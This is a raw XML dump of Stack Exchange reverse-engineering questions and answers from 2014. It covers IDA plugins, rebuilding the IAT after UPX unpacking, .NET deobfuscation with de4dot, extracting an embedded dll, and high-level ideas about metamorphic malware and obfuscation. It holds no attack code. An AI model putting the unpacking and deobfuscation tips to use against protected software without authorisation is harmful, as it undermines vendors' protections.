: 0x53445352 | SigGuid A75CE0F5-0D67-4FC4-A2C612B95C81F742&lt;/p&gt;&#xA;&lt;p&gt;Age : 0x6 | Pdb : c:\AgileUnpackMe\AgileUnpackMe\obj\x86\Debug\AgileUnpackMe.pdb&lt;/p&gt;&#xA;&lt;p&gt;[!] AgileDotNet detected&lt;/p&gt;&#xA;&lt;p&gt;[CompilerDetect] -&amp;gt; .NET&lt;/p&gt;&#xA;&lt;p&gt;[.] .Net Info -&amp;gt; v 2.5 | x86 managed (/platform:x86) | Flags : 0x00000003 -&amp;gt;&#xA;COMIMAGE_FLAGS_ILONLY | COMIMAGE_FLAGS_32BITREQUIRED |&lt;/p&gt;&#xA;&lt;p&gt;[.] Entrypoint (Token) : 0x06000006&lt;/p&gt;&#xA;&lt;p&gt;[.] MetaData RVA : 0x00002184 | Size : 0x00000C0C (3084)&lt;/p&gt;&#xA;&lt;p&gt;[.] MetaData-&amp;gt;Version 1.1 -&amp;gt; v2.0.50727&lt;/p&gt;&#xA;&lt;p&gt;[.] Flags : 0x0 | Streams : 0x5 (5)&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Scan Took : 0.156 Second(s) [00000009Ch (156) tick(s)] [539 scan(s) done]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8421" LastEditorUserId="245" LastEditDate="2021-05-07T13:37:05.293" LastActivityDate="2021-05-07T13:37:05.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6175" PostTypeId="1" CreationDate="2014-09-04T20:39:13.627" Score="2" ViewCount="1730" Body="&lt;p&gt;How can I color functions that contain loops in IDApython ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the end of the basic block can jump to start of basic block it's good enough, even in the rare case this is not a loop. But how do i implement this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: This is not good cause the loop can span multiple basic blocks. &#xA;Or, maybe if the &lt;code&gt;ecx&lt;/code&gt; register is used ? I don't care if I have some false positives ?&lt;/p&gt;&#xA;" OwnerUserId="8458" LastEditorUserId="53" LastEditDate="2014-09-05T06:30:15.180" LastActivityDate="2014-09-05T19:57:47.660" Title="idapython find functions that contain a loop" Tags="|binary-analysis|idapython|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6176" PostTypeId="2" ParentId="6175" CreationDate="2014-09-04T23:06:56.740" Score="7" Body="&lt;p&gt;There is an IDA plugin called Loop Detection that does that, it comes with source code and a paper explaining how it works. Have a look at &lt;code&gt;loop_detection.cpp&lt;/code&gt; and refer to the paper for an explanation of how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin with source code : &lt;a href=&quot;http://www.openrce.org/downloads/details/9/Loop_Detection&quot;&gt;http://www.openrce.org/downloads/details/9/Loop_Detection&lt;/a&gt;&#xA;Paper: &lt;a href=&quot;http://www.uninformed.org/?v=1&amp;amp;a=2&amp;amp;t=pdf&quot;&gt;http://www.uninformed.org/?v=1&amp;amp;a=2&amp;amp;t=pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for uses of &lt;code&gt;ecx&lt;/code&gt; is not a good approach as this register is often used for other purposes. A better approach is to look for back edges between blocks.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-09-05T19:57:47.660" LastActivityDate="2014-09-05T19:57:47.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6177" PostTypeId="1" AcceptedAnswerId="6178" CreationDate="2014-09-05T07:31:56.520" Score="5" ViewCount="1717" Body="&lt;p&gt;I'm building an IDA Pro plugin (not a script) using the C++ SDK. On top of the frustration added by the lack of a proper API documentation, I cannot find a good way to debug my plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried printing messages to the output window of IDA Pro. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;msg(&quot;Everything OK up to point 1\n&quot;);&#xA;...&#xA;msg(&quot;Everything OK up to point 2\n&quot;);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, whenever my plugin hits an error state, IDA Pro crashes before I get a chance to read the messages that my plug-in printed in the output window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While searching for a solution I stumbled upon the &lt;a href=&quot;http://wingware.com/doc/howtos/idapython&quot; rel=&quot;noreferrer&quot;&gt;Wingware Python IDE&lt;/a&gt; which can be used to debug IDAPython. The drawbacks however are that it is not free and I am not developing the plugin in python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One obvious thing to try is writing to a text file instead of writing to the IDA output window. However, that is not handy debugging. Isn't there a better way to debug an IDA Pro plugin built with C++ SDK?&lt;/p&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="3696" LastEditDate="2014-09-05T08:48:35.627" LastActivityDate="2014-09-05T09:11:03.853" Title="How to debug an IDA Pro plugin built with the C++ IDASDK" Tags="|ida|ida-plugin|idapro-sdk|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6178" PostTypeId="2" ParentId="6177" CreationDate="2014-09-05T09:11:03.853" Score="1" Body="&lt;p&gt;Most modern IDE's allow you to specify an executable to launch when debugging, you should specify your ida executable. Or otherwise, try to attach to the running IDA process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you put a breakpoint in the run() function of your plugin, your IDE will stop at run,  and you can singlestep, etc from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you if you enable 'break on exception' your IDE will probably figure out if the exception was in your plugin, and load the right source file for you.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2014-09-05T09:11:03.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6179" PostTypeId="1" AcceptedAnswerId="6180" CreationDate="2014-09-05T13:29:53.697" Score="1" ViewCount="116" Body="&lt;p&gt;I'd like to identify all late-binding calls made by a windows 32 or 64 executable program. I can take a look at the imported functions through the IAT but I'm unable to list the functions called during a program invocation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="8462" LastActivityDate="2014-09-05T13:49:38.783" Title="List late binding functions" Tags="|windows|functions|iat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6180" PostTypeId="2" ParentId="6179" CreationDate="2014-09-05T13:49:38.783" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://www.dependencywalker.com/&quot;&gt;Dependency Walker&lt;/a&gt; is your friend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it's almost impossible to find out which libraries/entry points a program uses by static analysis alone, since the strings passed to &lt;code&gt;LoadLibrary&lt;/code&gt; and &lt;code&gt;GetProcAddress&lt;/code&gt; might be obfuscated, i.e. not visible in the binary. &lt;code&gt;Dependency Walker&lt;/code&gt; catches those calls at runtime, which means a) you need to run the program - which may not be advisable if it's known malware - and b) it still might miss something if you don't execute that path of code. But within these restrictions, it's about the best you can get.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-09-05T13:49:38.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6181" PostTypeId="1" CreationDate="2014-09-05T16:49:05.520" Score="2" ViewCount="1611" Body="&lt;p&gt;I have rebuilt the iat table of a UPX packed to the point where there are no invalid thunks (All &quot;Yes&quot;), I then fix the dump though when I open the final fixed executable in impRec I get invalid thunks which I originally sorted alongside some new invalid thunks. I'm getting the same results with multiple versions of UPX, this is the final hurdle for me in fully unpacking the packed executables, where am I going wrong. &lt;/p&gt;&#xA;" OwnerUserId="6978" LastActivityDate="2015-05-06T17:14:50.090" Title="iat errors in rebuilt executable" Tags="|iat|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6182" PostTypeId="2" ParentId="6181" CreationDate="2014-09-05T17:40:10.617" Score="1" Body="&lt;p&gt;upx - d didnt work ? for some, when rebuilding the import can be a forwarded import, which sometimes doesnt resolve correctly, this happened a lot in cracks made on vista and higher (typically the SetLastError api)&lt;/p&gt;&#xA;" OwnerUserId="8421" LastActivityDate="2014-09-05T17:40:10.617" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6185" PostTypeId="2" ParentId="6181" CreationDate="2014-09-06T15:34:47.343" Score="1" Body="&lt;p&gt;Import REConstructor rebuilds the Import Table, &lt;em&gt;not&lt;/em&gt; the Import Address Table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to verify that Import REConstructor worked correctly, you'd be better off examining the resulting EXE with an Import Table tool such as &lt;a href=&quot;http://www.dependencywalker.com/&quot; rel=&quot;nofollow&quot;&gt;Dependency Walker&lt;/a&gt;. There's no point in examining the resulting EXE (once it's loaded) with Import REConstructor because its displayed output is based on the runtime Import Address Table, which was never rebuilt.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-06T15:34:47.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6186" PostTypeId="1" CreationDate="2014-09-06T16:02:58.220" Score="1" ViewCount="243" Body="&lt;p&gt;I'm looking for tools to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Disassemble a function from a x86 Windows executable into an asm file.&lt;/li&gt;&#xA;&lt;li&gt;Edit the file.&lt;/li&gt;&#xA;&lt;li&gt;Assemble the file again into an object file that can then be linked into a DLL.&lt;/li&gt;&#xA;&lt;li&gt;Inject this DLL into the original target executable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What disassembler and assembler combo allows me to do this ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using Visual Studio 2013 to inject C++ code which works fine but being able to edit the original assembly code without having to translate it to C++ first would be a nice improvement.&lt;/p&gt;&#xA;" OwnerUserId="8464" LastEditorUserId="53" LastEditDate="2014-09-06T17:20:26.657" LastActivityDate="2014-09-06T17:20:26.657" Title="Reassembler toolchain" Tags="|windows|x86|c++|reassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6187" PostTypeId="2" ParentId="6186" CreationDate="2014-09-06T16:12:31.987" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm currently using Visual Studio 2013 to inject C++ code which works&#xA;  fine but being able to edit the original assembly code without having&#xA;  to translate it to C++ first would be a nice improvement.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you're using Visual Studio 2013, you don't need to translate the assembly code into C++. Just use &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/45yd4tzz.aspx&quot; rel=&quot;nofollow&quot;&gt;__asm&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-06T16:12:31.987" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6188" PostTypeId="2" ParentId="6186" CreationDate="2014-09-06T16:25:09.120" Score="1" Body="&lt;p&gt;disassembling the whole thing to something reassembleable is a huge feat, with high potential for errors if theres no reloc information or other things to 'assist' the disassembly.. i dont know of anything that will do this entirely.. there were old programs like sourcer etc in the dos days, but even then they got close, but not perfect.. what you're looking for i dont think exists.. yet&lt;/p&gt;&#xA;" OwnerUserId="8421" LastActivityDate="2014-09-06T16:25:09.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6189" PostTypeId="1" AcceptedAnswerId="6201" CreationDate="2014-09-06T22:50:28.090" Score="1" ViewCount="975" Body="&lt;p&gt;Is there a monitoring tool for Android except &lt;code&gt;logcat&lt;/code&gt; which works like Process Monitor in Windows ?&lt;BR&gt;&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3183" LastActivityDate="2019-07-21T22:03:44.940" Title="How to monitor APK files in Android System" Tags="|tools|android|apk|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6190" PostTypeId="1" CreationDate="2014-09-06T22:54:19.313" Score="0" ViewCount="8640" Body="&lt;p&gt;I'm working on a project which requires me to extract, edit, and reproduce part of a proprietary hash algorithm.. which is contained inside a dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dll is used by an Unity game, and includes Unity between its references too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This dll invokes some external functions contained in another dll (which I suppose has been written in c++, considering the DllImport etc present in the source code) with all the real hash logic and methods... and here comes the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not been able to find and locate that dll: no trace in the folder at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I suppose that Unity (or whatever tool) managed somehow to embed it inside the dll code itself... but after further decompilation, disassemblation etc, the dll does not present any code to eventually extract it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact is that ILSpy is able to show this external dll in the &quot;parent&quot; dll references, marking it as a &quot;module&quot;, but I have no idea about how to proceed to extract it (if it's relly there!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to bypass the problem, including the entire dll into a C# project, and invoking its public functions at runtime (like the Unity game does)... but it seems that somehow, this idea is not working at all (read something about the fact that unity can run c# code, but I cannot init Unity via C#... or something like that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... After struggling for days, I decided to ask here to some experts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can help me?&lt;/p&gt;&#xA;" OwnerUserId="8473" LastEditorUserId="8473" LastEditDate="2014-09-09T08:05:45.940" LastActivityDate="2015-05-24T23:09:12.463" Title="Reverse-engineering of an Unity dll" Tags="|dll|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6191" PostTypeId="2" ParentId="6190" CreationDate="2014-09-07T04:32:43.793" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;This dll invokes some external functions contained in another dll (which I suppose has been written in c++, considering the DllImport&#xA;  etc present in the source code) with all the real hash logic and&#xA;  methods... and here comes the problem. &lt;br&gt; I've not been able to find and&#xA;  locate that dll: no trace in the folder at all.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb896653&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Process Explorer&lt;/em&gt;&lt;/a&gt; or &lt;a href=&quot;http://processhacker.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Process Hacker&lt;/em&gt;&lt;/a&gt; to find which modules are loaded in the address space of the process. When you find the required dll, check whether there exists a valid path for that module in disk. If there is one then you may simple copy over the dll for further analysis.&#xA; &lt;a href=&quot;http://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/&quot; rel=&quot;nofollow&quot;&gt;Otherwise the dll may have been loaded from memory&lt;/a&gt;. In such case you have to dump that dll from memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next using a PE detection tool such as &lt;a href=&quot;http://exeinfo.atwebpages.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;ExeInfo PE&lt;/em&gt;&lt;/a&gt; , &lt;a href=&quot;http://ntinfo.biz/index.php/detect-it-easy&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Detect It Easy&lt;/em&gt;&lt;/a&gt; scan the dll. If it is a managed DLL (aka .net) check if a .net decompiler such as &lt;a href=&quot;http://www.jetbrains.com/decompiler/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;dotPeek&lt;/em&gt;&lt;/a&gt; or &lt;a href=&quot;http://www.red-gate.com/products/dotnet-development/reflector/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;reflector&lt;/em&gt;&lt;/a&gt; can decompile it readily. If it is obfuscated, try using &lt;a href=&quot;https://github.com/0xd4d/de4dot&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;de4dot&lt;/em&gt;&lt;/a&gt; before decompiling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a native dll IDA Pro is your best option for analyzing the dll. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are quite a few ways to package a dll inside an executable. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For native dlls to be embedded inside native executables, you can&#xA;simply store them as resources, which will be written to disk at&#xA;runtime and loaded subsequently. Another way is to load it completely&#xA;from memory as said previously.&lt;/li&gt;&#xA;&lt;li&gt;For native dlls to be embedded inside managed executables, you may&#xA;use the resource method.&lt;/li&gt;&#xA;&lt;li&gt;For managed dlls to be embedded inside managed executables, you may&#xA;use the resource method, but writing it to disk is not needed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See this article &lt;a href=&quot;http://www.codeproject.com/Articles/528178/Load-DLL-From-Embedded-Resource&quot; rel=&quot;nofollow&quot;&gt;on loading a dll from embedded resource&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-09-07T05:25:16.157" LastActivityDate="2014-09-07T05:25:16.157" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6194" PostTypeId="2" ParentId="6166" CreationDate="2014-09-07T21:30:11.063" Score="0" Body="&lt;p&gt;You told OllyDBG to jump to &lt;code&gt;0012F8A3&lt;/code&gt;, which will cause Olly to show it in the disassembly listing. As you can see from the listing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  0012F8A3   0000   ADD BYTE PTR DS: [EAX], AL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the left is the address (&lt;code&gt;0012F8A3&lt;/code&gt;), then the bytes at that address (&lt;code&gt;0000&lt;/code&gt;), and the opcode they decode to (&lt;code&gt;ADD BYTE PTR DS: [EAX], AL&lt;/code&gt;). Note that, indeed, in x86 assembly, two NUL bytes in a row decode to &lt;code&gt;ADD BYTE PTR DS: [EAX], AL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you said that this line repeats over and over again, I infer that this means that the memory region of interest is just filled with zeros. You should skip forward until the region is filled in, then look at it again (preferably in a memory viewer, not the disassembly view) to see what is placed there.&lt;/p&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2014-09-07T21:30:11.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6195" PostTypeId="2" ParentId="6116" CreationDate="2014-09-07T21:42:02.873" Score="2" Body="&lt;p&gt;ELF headers are included in the process memory &lt;em&gt;because the program asked for them&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ELF file contains a number of &quot;program headers&quot; which specify how the program is to be loaded. The ELF loader on your computer (typically in the kernel or dynamic linker) will load the program into memory as specified by the program headers (with allowances for extra pieces due to page size limitations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, if the program headers include the start of the executable file in any LOAD command, then the ELF header will be loaded into memory. It is definitely possible to create functional ELF files that don't load the ELF headers into the program memory; the ELF loader will usually load the headers into a temporary (scratch) area in order to figure out how to load the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample program headers from an Android executable (using &lt;code&gt;readelf&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  PHDR           0x000034 0x00008034 0x00008034 0x00100 0x00100 R   0x4&#xA;  INTERP         0x000134 0x00008134 0x00008134 0x00013 0x00013 R   0x1&#xA;      [Requesting program interpreter: /system/bin/linker]&#xA;  LOAD           0x000000 0x00008000 0x00008000 0x00320 0x00320 R E 0x1000&#xA;  LOAD           0x000ee8 0x00009ee8 0x00009ee8 0x00118 0x0011c RW  0x1000&#xA;  DYNAMIC        0x000f08 0x00009f08 0x00009f08 0x000d0 0x000d0 RW  0x4&#xA;  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0&#xA;  EXIDX          0x000318 0x00008318 0x00008318 0x00008 0x00008 R   0x4&#xA;  GNU_RELRO      0x000ee8 0x00009ee8 0x00009ee8 0x00118 0x00118 RW  0x4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first LOAD command starts at an offset of 0x0 from the start of the file and extends for 0x320 bytes, so it will include the ELF headers at address 0x8000 (assuming the executable isn't relocated due to ASLR).&lt;/p&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2014-09-07T21:42:02.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6196" PostTypeId="1" CreationDate="2014-09-07T23:22:38.737" Score="4" ViewCount="557" Body="&lt;p&gt;I have read the topic on &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1696/what-are-the-differences-between-metamorphic-oligomorphic-and-polymorphic-malwa&quot;&gt;oligo-, poly- and metamorphic malware&lt;/a&gt;. I have done a quick google search, and it seems like the concept of metamorphic malware was already known in the DOS age and in the 1990s at 32-bit Windows (according to &lt;a href=&quot;http://www.google.at/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=0CCEQFjAA&amp;amp;url=http%3A%2F%2Fwww.symantec.com%2Favcenter%2Freference%2Fhunting.for.metamorphic.pdf&amp;amp;ei=sOcMVOyTCMLVaov5gIgM&amp;amp;usg=AFQjCNH7YtpHpkUAoS5gPPKGBagXA97jNQ&amp;amp;bvm=bv.74649129,d.d2s&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hunting For Metamorphic by Ször and Ferrie&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there more complex methods of self-modification in computer malware than metamorphism in modern times?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer by Jason Geffner is very interesting, dealing with problematic reverse-engineering techniques. As soon as you have the plain code, can you create a detection mechanism? I understand that for polymorphism (where there is an underlying unprotected layer) or for VMs. But what about codes that can change this underlying layer, such as metamorphic codes do (see the reference above)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There, reversing gives you the underlying layer, which is not constant - right? I also wonder whether there are advanced techniques of metamorphism developed since the last 10 year or so, or did this type of self-modification become extinct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit2&lt;/strong&gt;&#xA;As I cannot comment due to too less friend-points, Jason: I intented to ask this as my original question. The info you gave is interesting, unfortunatly it doensn't answer fully my oringial question (which I have stated not well enough as it seems). With my edit above, I wanted to clarify what I wanted to know. I dont think a new question is required as this is the originally intented question, do you agree?&lt;/p&gt;&#xA;" OwnerUserId="8480" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-09-09T06:11:07.140" Title="Computer Malware: More complex than metamorphic?" Tags="|malware|obfuscation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6197" PostTypeId="2" ParentId="6196" CreationDate="2014-09-08T02:05:32.670" Score="5" Body="&lt;p&gt;Metamorphism wasn't used for obfuscation as much as it was used to defeat static AV signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of modern* obfuscation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A custom virtual machine can be a pain to analyze, especially if it's a custom crafted one (as opposed to something like VMProtect which is more widely studied).&lt;/li&gt;&#xA;&lt;li&gt;Obfuscation that involves code running in the kernel can also be challenging for many reversers, since many common reverse engineering tools are designed for user-mode targets.&lt;/li&gt;&#xA;&lt;li&gt;Chunked packing, where not all code is deobfuscated at the same time, can be difficult to analyze.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are plenty of other methods of complex obfuscation that I'm sure others will name on this thread :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And although you didn't ask about it, a modern* polymorphic technique is server-side polymorphism, where the polymorphic engine is on a remote server and it is used to churn out millions of variations of a malware sample.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;*&lt;/em&gt; Note that &quot;modern&quot; in this context means the past 10 years or so.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-08T02:05:32.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6198" PostTypeId="1" CreationDate="2014-09-08T15:03:31.940" Score="2" ViewCount="159" Body="&lt;p&gt;I have an old serial based remote control for the PC. It has an IR receiver that plugs into a standard DB9 serial port. I am trying to figure out how this remote works. I have downloaded various serial monitor programs to try and figure out how it works. However, none of them display anything when I point the remote control at the receiver and press buttons. I know the remote and receiver work. Maybe I am doing something wrong. Any help with this would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8483" LastActivityDate="2014-09-09T09:17:07.303" Title="Figuring out how an old serial based PC IR remote control works" Tags="|windows|serial-communication|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6199" PostTypeId="2" ParentId="6198" CreationDate="2014-09-08T19:38:12.717" Score="1" Body="&lt;p&gt;Sometimes devices like that use pins like DTR (Data Terminal Ready) which trigger an interrupt and track the time between interrupts and decode that rather than actually feeding data in to the serial port on the data lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(edit: The software might be polling a line in software rather than relying on a port to have something interrupt on one of the pins.  DTR and RI, ring indicator, are still the likely suspects.  Power to the device, likely an IR phototransistor, is likely to be from driving one or more of the extra pins to +12v.  See: &lt;a href=&quot;http://www.tldp.org/HOWTO/Serial-HOWTO-19.html&quot; rel=&quot;nofollow&quot;&gt;http://www.tldp.org/HOWTO/Serial-HOWTO-19.html&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="8449" LastEditorUserId="8449" LastEditDate="2014-09-08T19:51:10.407" LastActivityDate="2014-09-08T19:51:10.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6200" PostTypeId="2" ParentId="6151" CreationDate="2014-09-08T22:34:23.343" Score="0" Body="&lt;p&gt;You can find all the hooked Objective C methods in a tweak by first doing a cross reference of _MSHookMessageEx in IDA Pro. In the functions which call _MSHookMessageEx, the method name can be seen loaded into R1, just before the call to _MSHookMessageEx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To launch an app with gdb, use debugserver. It acts as an endpoint for remote gdb or lldb on iOS. You can find more information about debugserver on this page - &lt;a href=&quot;http://iphonedevwiki.net/index.php/Debugserver&quot; rel=&quot;nofollow&quot;&gt;http://iphonedevwiki.net/index.php/Debugserver&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I would recommend using Theos (&lt;a href=&quot;http://iphonedevwiki.net/index.php/Theos&quot; rel=&quot;nofollow&quot;&gt;http://iphonedevwiki.net/index.php/Theos&lt;/a&gt;) to do the function hooking. It makes development of MobileSubtrate tweaks a lot easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Judging by your question, I seem to get the idea that you're trying to hook MobileSubtrate's own functions like MSHookFunction. MobileSubstrate is only designed to hook other functions and not itself.&lt;/p&gt;&#xA;" OwnerUserId="8143" LastActivityDate="2014-09-08T22:34:23.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6201" PostTypeId="2" ParentId="6189" CreationDate="2014-09-09T05:49:56.973" Score="2" Body="&lt;p&gt;If you have root access in device you can use &lt;a href=&quot;https://en.wikipedia.org/wiki/Ps_%28Unix%29&quot; rel=&quot;nofollow&quot;&gt;ps&lt;/a&gt;, also you can use &lt;a href=&quot;https://en.wikipedia.org/wiki/Procfs&quot; rel=&quot;nofollow&quot;&gt;/proc&lt;/a&gt; file system.&lt;/p&gt;&#xA;" OwnerUserId="4669" LastActivityDate="2014-09-09T05:49:56.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6202" PostTypeId="1" CreationDate="2014-09-09T07:49:03.457" Score="1" ViewCount="3177" Body="&lt;p&gt;I'm trying to deobfuscate a .NET exe file, using &lt;a href=&quot;http://de4dot.com/&quot; rel=&quot;nofollow&quot;&gt;de4dot&lt;/a&gt;. I have many dll files, when I open the dll file with &lt;a href=&quot;http://www.red-gate.com/products/dotnet-development/reflector/&quot; rel=&quot;nofollow&quot;&gt;.NET Reflector&lt;/a&gt;, it appears like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/10907501/bc/1.PNG&quot; alt=&quot;Step 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when I did the deobfuscation again with &lt;code&gt;de4dot&lt;/code&gt;, some stuff are cleaned:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/10907501/bc/2.PNG&quot; alt=&quot;Step 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open that cleaned-dll, all the variables and class name look very strange, it's not related with the code inside that function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/10907501/bc/3.PNG&quot; alt=&quot;Step 3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you guys seen this before? How can I get the real name of functions and variables ? Did they use 2 times obfuscation 